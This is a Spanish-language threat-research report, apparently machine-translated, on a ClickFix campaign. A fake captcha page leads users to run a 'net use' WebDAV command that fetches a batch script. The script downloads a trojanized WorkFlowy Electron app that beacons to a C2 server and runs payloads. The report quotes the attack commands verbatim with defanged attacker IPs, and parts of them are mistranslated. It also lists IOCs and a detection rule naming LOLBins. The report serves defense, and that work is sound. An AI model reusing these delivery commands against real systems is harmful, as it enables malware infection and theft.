
Descargo de responsabilidad: este informe fue elaborado por el Threat Research Center para aumentar la conciencia sobre la ciberseguridad y respaldar el fortalecimiento de las capacidades defensivas. Esto se basa en investigaciones y observaciones independientes del panorama de amenazas actual disponibles en el momento de la publicación. Este contenido tiene únicamente fines informativos y preparatorios.
Lea más blogs sobre inteligencia de amenazas e investigación de adversarios: https://atos.net/en/lp/cybershield
resumen
Los investigadores de Atos han identificado una nueva variante del popular método ClickFix. En esta técnica, un atacante utiliza un acceso directo de Win+R para engañar a un usuario para que ejecute comandos maliciosos en su dispositivo. Esta variación utiliza el comando «net use» para asignar una unidad de red desde un servidor externo y luego ejecuta un archivo por lotes «.cmd» alojado en esa unidad. El script descarga un archivo ZIP, lo descomprime y ejecuta una aplicación WorkFlowy legítima con una lógica maliciosa modificada oculta dentro de un archivo “.asar”. Esto actúa como una baliza C2 y un gotero para la carga útil final del malware.
Figura 1: Descripción general del flujo de ataque.
Descripción general del ataque
En esta versión, el vector de ataque inicial es el mismo que en todas las demás versiones: la página web «happyglamper(.)ro» disfrazada de mecanismo de captura. Solicita al usuario que presione «Win+R» seguido de «Ctrl+V» y «Enter» para abrir la aplicación ejecutable.
Figura 2: Sitio web de phishing 1
Figura 3: Sitio web de phishing 2
Esto ejecutará el siguiente comando:
“cmd.exe” /c uso neto Z: http://94.156.170(.)255/webdav /persistent:no && “Z:\update.cmd” & uso neto Z: /delete
Normalmente, en esta etapa, el atacante utiliza PowerShell o mshta para descargar y ejecutar la siguiente etapa del malware. Aquí, puede ver que «uso de red» se utiliza para asignar y conectarse a la unidad de red del servidor externo donde se ejecuta el script por lotes. Si bien no son nuevos, estos TTP no se habían visto anteriormente en ataques ClickFix. Combinada con las siguientes etapas inusuales del patrón de infección, esta campaña brinda a los adversarios una alta probabilidad de evadir los controles defensivos y permanecer fuera del radar de los defensores.
En este caso, la variante ClickFix del flujo de ejecución observado omitió con éxito Microsoft Defender para la detección de endpoints. El equipo de seguridad de Atos pudo detectar esto gracias a un servicio interno de búsqueda de amenazas que se centra en un aspecto operativo clave de la técnica ClickFix: la ejecución inicial a través de la clave de registro RunMRU (consultas de búsqueda disponibles en la sección del apéndice).
El script de ejecución inicial «update.cmd» se carga y ejecuta desde la unidad asignada. Luego se eliminará la unidad asignada. Contenido de «update.cmd»:
start «» /min powershell -WindowStyle Hidden -Command «Invoke-WebRequest ‘http://94.156.170(.)255/flowy.zip’ -OutFile \»$env:TEMP\dl.zip\»; Expand-Archive \»$env:TEMP\dl.zip\» -DestinationPath \»$env:LOCALAPPDATA\MyApp\» -Forzar; Iniciar proceso «$env:LOCALAPPDATA\MyApp\WorkFlowy.exe\»»
Esto generará una instancia de PowerShell que descargará el archivo zip y lo descomprimirá en el directorio «%LOCALAPPDATA%\MyApp\». A continuación, ejecute el binario «WorkFlowy.exe».
Figura 4: Contenido del archivo flowy.zip
Análisis de flujo de trabajo
El archivo contiene la aplicación de escritorio WorkFlowy (versión 1.4.1050) firmada por el desarrollador «FunRoutine Inc.» y distribuido como un paquete de aplicaciones de Electron. Las aplicaciones electrónicas se crean utilizando tecnologías web comunes (HTML, CSS, JavaScript) y utilizan archivos «.asar» para empaquetar el código fuente durante el empaquetado de la aplicación. Esto se hace por diversas razones, incluida la mitigación de problemas con nombres de rutas largos en Windows. El código malicioso se inyectó en el punto de entrada Node.js de la aplicación, main.js, oculto dentro del archivo app.asar.
Perfil técnico
Valor de propiedad Aplicación de destino WorkFlowy Desktop (Electron) Versión maliciosa 1.4.1050 Archivo malicioso recurso/app.asar → /main.js Dominio C2 cloudflare.report/forever/e/ Origen C2 IP 144(.)31(.)165(.)173 (Frankfurt, AS215439 play2go.cloud) Fecha de registro de dominio Enero de 2026, Registrador de HK, Archivo de identificación de víctima del registrador de OnlineNIC %APPDATA%\id.txt Directorio de preparación del cuentagotas %TEMP%\(unix_timestamp)\
vector de infección
El archivo malicioso ASAR es un reemplazo directo del recurso/app.asar legítimo. El atacante volvió a empaquetar versiones anteriores de la aplicación (v1.4 y ahora v4.3) utilizando el código inyectado.
Figura 5: Contenido del subdirectorio “recursos”
Código malicioso (goteros/balizas)
Cuando se ejecuta WorkFlowy, busca el archivo app.asar dentro de la ruta relativa codificada en el binario. Luego lee internamente el archivo main.js, lo decodifica en una cadena, lo analiza con el motor JavaScript V8 de Google integrado y lo ejecuta. El atacante reemplazó el main.js legítimo por uno de su propia creación. En lugar de un script bien estructurado, utilizaron una estructura en línea altamente ofuscada y agregaron código malicioso encima del código legítimo, permitiéndole ejecutarse primero y bloqueando la funcionalidad de WorkFlowy.
El código malicioso contiene varias características importantes.
El malware se ejecuta antes de que se inicie la aplicación legítima. El IIFE insertado se abre con await f() (bucle de baliza C2 infinito). f() nunca se resuelve, por lo que todo el código de inicialización legítimo de WorkFlowy posterior se bloquea para siempre. El malware se ejecuta con privilegios completos de Node.js inmediatamente después del inicio.

Toma de huellas digitales persistente de la víctima a través de %APPDATA%\id.txt: en la primera ejecución, se genera una identificación alfanumérica aleatoria de 8 caracteres y se escribe en %APPDATA%\id.txt. En ejecuciones posteriores, la identificación guardada se vuelve a leer, lo que le brinda al atacante un identificador estable para cada máquina víctima durante la sesión.

Baliza C2: extrae el ID del host cada 2 segundos. La función u() envía un HTTP POST que contiene la identificación única de la víctima, el nombre de la máquina y el nombre de usuario de Windows al servidor C2. El bucle f() repite esto infinitamente cada 2 segundos.

Descarga y ejecución de una carga útil remota: la función p() recibe un objeto de tarea del C2, decodifica el contenido del archivo codificado en base64, lo escribe en un directorio con marca de tiempo en %TEMP% y ejecuta el .exe a través de child_process.exec.

Si no se establece una conexión C2, no se generarán archivos ni directorios. En el momento de realizar este análisis, el dominio C2 ya no respondía.
Por qué Electron es un mecanismo de entrega eficaz
El código malicioso se ejecuta en el proceso principal de Node.js fuera del entorno limitado de Chromium con todos los privilegios del usuario que inició sesión, lo que permite que el código malicioso realice cualquier acción que el usuario esté autorizado a realizar en el sistema. También ayuda a ocultar el código malicioso, ya que en realidad no se escriben archivos en el disco y la carga maliciosa se empaqueta dentro de un archivo «.asar».
sostenibilidad
La persistencia a nivel del sistema operativo no se implementa mediante el cuentagotas. Las balizas solo funcionan mientras WorkFlowy está abierto. El único artefacto escrito en el disco antes de la entrega de la siguiente etapa es %APPDATA%\id.txt (ID de seguimiento de la víctima), y solo si la conexión con el C2 se establece exitosamente. Presumiblemente, la persistencia a nivel del sistema operativo se delega a la carga útil que entrega el C2 a través del cuentagotas.
Lea más blogs sobre inteligencia de amenazas e investigación de adversarios: https://atos.net/en/lp/cybershield
Puntos importantes
Esta variante de ClickFix es importante porque aleja el acceso inicial de los motores de ejecución y secuencias de comandos comúnmente explotados, como PowerShell, MSHTA y WScript, y en su lugar depende del uso de la red para explotar WebDAV como mecanismo de entrega. Las campañas anteriores de ClickFix generalmente se exponían llamando directamente a intérpretes o binarios no terrestres que están fuertemente monitoreados por soluciones EDR modernas. Por el contrario, esta iteración monta el recurso compartido WebDAV remoto como una unidad local, ejecuta un archivo por lotes alojado mediante la semántica del sistema de archivos estándar y elimina la asignación inmediatamente después de su uso. Esto muestra que ClickFix todavía está evolucionando y está ampliando su arsenal de métodos de ejecución de proxy y comenzando a aprovechar las utilidades de red nativas.
La lógica maliciosa se oculta reemplazando el contenido del archivo app.asar de la aplicación Workflowy con una versión troyanizada de main.js. El código se ejecuta dentro del proceso principal de Electron y permanece empaquetado dentro de la aplicación legítima, evitando así muchas detecciones de comportamiento basadas en archivos centradas en cargadores independientes e intérpretes de scripts. Dado que los archivos ASAR rara vez se inspeccionan, la lógica del dropper se puede ejecutar mediante el inicio normal de la aplicación con una visibilidad mínima.
Esta actividad no fue detectada por los controles de seguridad y solo se identificó mediante la búsqueda de amenazas dirigida en Atos. La detección se basó en el análisis del contexto de ejecución en lugar de en los indicadores de carga útil, detectando específicamente ejecuciones de comandos sospechosas originadas en el cuadro de diálogo (ejecutar) del Explorador (registrado en la clave de registro RunMRU). Esto pone de relieve la creciente importancia de la caza de amenazas como mecanismo de detección complementario. A medida que las campañas de ClickFix avanzan hacia utilidades nativas y aplicaciones confiables que generan menos alertas, solo la búsqueda proactiva basada en hipótesis puede ayudar a sacar a la superficie estas señales débiles de manera temprana e interrumpir la cadena de ataque.
apéndice
COI
Dominio cloudflare(.)informe Dominio happyglamper(.)ro IP 94(.)156(.)170(.)255 IP 144(.)31(.)165(.)173 URL https://cloudflare(.)report/forever/e/ Archivo %APPDATA%\id.txt Ruta %TEMP%\(marca de tiempo de 13 dígitos)\ SHA256 a390fe045f50a0697b14160132dfa124c7f92d85c18fba07df351c2fcfc11063 (aplicación.asar) SHA256 9ee58eb59e337c06429ff3f0afd0ee6886b0644ddd4531305b269e97ad2b8d42 (WorkFlowy.exe: versión anterior de binario legítimo, no malicioso) SHA256 dc95f7c7fb98ec30d3cb03963865a11d1b7b696e34f163b8de45f828b62ec829 (principal.js)
consulta de caza
título: Comando sospechoso ejecutado en el cuadro de diálogo Ejecutar ID: 20891a30-032e-4f15-a282-fa4a8b0d8aaestatus: Descripción experimental: Intérprete de comandos sospechoso escrito en la clave de registro Explorer RunMRU (normalmente utilizada para el historial del cuadro de diálogo Ejecutar) con Explorer.exe como proceso de inicio. Detecta LOLBins. autor: TRCdate: 2026-03-05 Etiquetas: – Attack.Execution – Attack.t1059 – Attack.Defense_Evasion Fuente de registro: Categoría: registro_set Producto: Windows Definición: «Sysmon Event ID 13 (Conjunto de valores de registro) o telemetría de registro EDR equivalente» Detección: select_key: TargetObject|Contiene: ‘\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU’selection_proc: Imagen|Termina con: ‘\explorer.exe’selection_data: Detalles|Contiene: – ‘cmd’ – ‘powershell’ – ‘cmd.exe’ – ‘powershell.exe’ – ‘wscript.exe’ – ‘cscript.exe’ – ‘net.exe’ – ‘net1.exe’ – ‘sh.exe’ – ‘bash.exe’ – ‘schtasks.exe’ – ‘regsvr32.exe’ – ‘hh.exe’ – ‘wmic.exe’ – ‘mshta.exe’ – ‘rundll32.exe’ – ‘msiexec.exe’ – ‘forfiles.exe’ – ‘scriptrunner.exe’ – ‘mftrace.exe’ – ‘AppVLP.exe’ – ‘svchost.exe’ – ‘msbuild.exe’ Condiciones: selección_key, selección_proc, selección_datafalsepositives: – «Actividad administrativa legítima utilizando el cuadro de diálogo Ejecutar (Win+R) para ejecutar una herramienta integrada». – «Script de TI o paso de solución de problemas ejecutado de forma interactiva por el usuario» Nivel: Medio
Lea más blogs sobre inteligencia de amenazas e investigación de adversarios: https://atos.net/en/lp/cybershield
Source link
